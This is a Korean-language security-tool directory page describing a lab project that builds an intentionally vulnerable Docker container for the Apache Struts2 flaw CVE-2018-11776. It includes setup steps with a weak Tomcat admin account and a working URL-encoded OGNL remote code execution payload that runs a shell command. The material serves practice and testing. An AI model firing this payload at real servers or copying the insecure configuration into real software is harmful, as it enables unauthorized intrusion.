Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-11776 — CVE-2018-11776용 취약한 docker 컨테이너 | Kitploit
도구/GitHubGitHub/bhdresh/cve-2018-11776
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubbhdresh/cve-2018-11776

CVE-2018-11776

CVE-2018-11776용 취약한 docker 컨테이너

저장소 보기
1277년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-11776 취약점이 있는 Docker 컨테이너

root@kitploit:~
# docker pull bhdresh/cve-2018-11776:1.0
# docker run -dit -p <IP ADDRESS>:8080:8080 bhdresh/cve-2018-11776:1.0

PoC

PoC - 1
root@kitploit:~
Request : http://<IP ADDRESS>:8080/struts2-showcase-2.3.14/${333+333}/help.action
Result  : http://<IP ADDRESS>:8080/struts2-showcase-2.3.14/666/help.action
PoC - 2
root@kitploit:~
Request : http://<IP ADDRESS>:8080/struts2-showcase-2.3.14/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27touch /tmp/vulnerable%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/help.action
Result  : This would create a file named 'vulnerable' in /tmp/ directory of docker

취약한 Docker 컨테이너를 만드는 단계

Dockerfile 생성
root@kitploit:~
FROM ubuntu:latest
RUN apt-get update -y
RUN apt-get upgrade -y
RUN apt-get dist-upgrade -y
RUN apt-get install default-jdk vim net-tools wget -y
EXPOSE 8080
Docker 빌드
root@kitploit:~
# docker build -t cve-2018-11776 .
Docker 시작
root@kitploit:~
# docker run --name cve-2018-11776 -p <IP ADDRESS>:8080:8080 -dit cve-2018-11776 /bin/bash
Docker에 로그인
root@kitploit:~
# docker exec -it cve-2018-11776 /bin/bash
Docker 내부에서 다음 변경 사항 적용
Tomcat 설정:
root@kitploit:~
# mkdir ~/sources
# cd ~/sources
# wget http://mirrors.ocf.berkeley.edu/apache/tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90.tar.gz
# tar xvzf apache-tomcat-7.0.90.tar.gz
# mv apache-tomcat-7.0.90 /opt/tomcat
bashrc를 변수로 업데이트:
root@kitploit:~
# vim ~/.bashrc

export JAVA_HOME=/usr/lib/jvm/default-java
export CATALINA_HOME=/opt/tomcat

# . ~/.bashrc
Tomcat GUI에 관리자 추가:
root@kitploit:~
# vim /opt/tomcat/conf/tomcat-users.xml

<user username="username" password="test-cve-2018-11776" roles="manager-gui,admin-gui" />
Tomcat 서버 시작
root@kitploit:~
# $CATALINA_HOME/bin/startup.sh
Tomcat UI를 통해 취약한 Struts2 Showcase 업로드 및 배포
root@kitploit:~
http://<IP ADDRESS>:8080 (username:test-cve-2018-11776)
Tomcat 재시작
root@kitploit:~
# $CATALINA_HOME/bin/shutdown.sh
# $CATALINA_HOME/bin/startup.sh
네임스페이스가 없는 취약한 리다이렉션 액션 추가:
root@kitploit:~
# vim /opt/tomcat/webapps/struts2-showcase-2.3.14/WEB-INF/classes/struts.xml

  <action name="help">
              <result type="redirectAction">
                      <param name="actionName">date.action</param>
              </result>
  </action>

NOTE: By default, alwaysSelectFullNamespace should be set to True.
Tomcat 재시작 후 Struts2 Showcase 페이지 확인:
root@kitploit:~
# $CATALINA_HOME/bin/shutdown.sh
# $CATALINA_HOME/bin/startup.sh

http://<IP ADDRESS>:8080/struts2-showcase-2.3.14/showcase.jsp

작성자

@bhdresh

참고 자료

https://github.com/xfox64x/CVE-2018-11776

https://github.com/jas502n/St2-057

도구 다운로드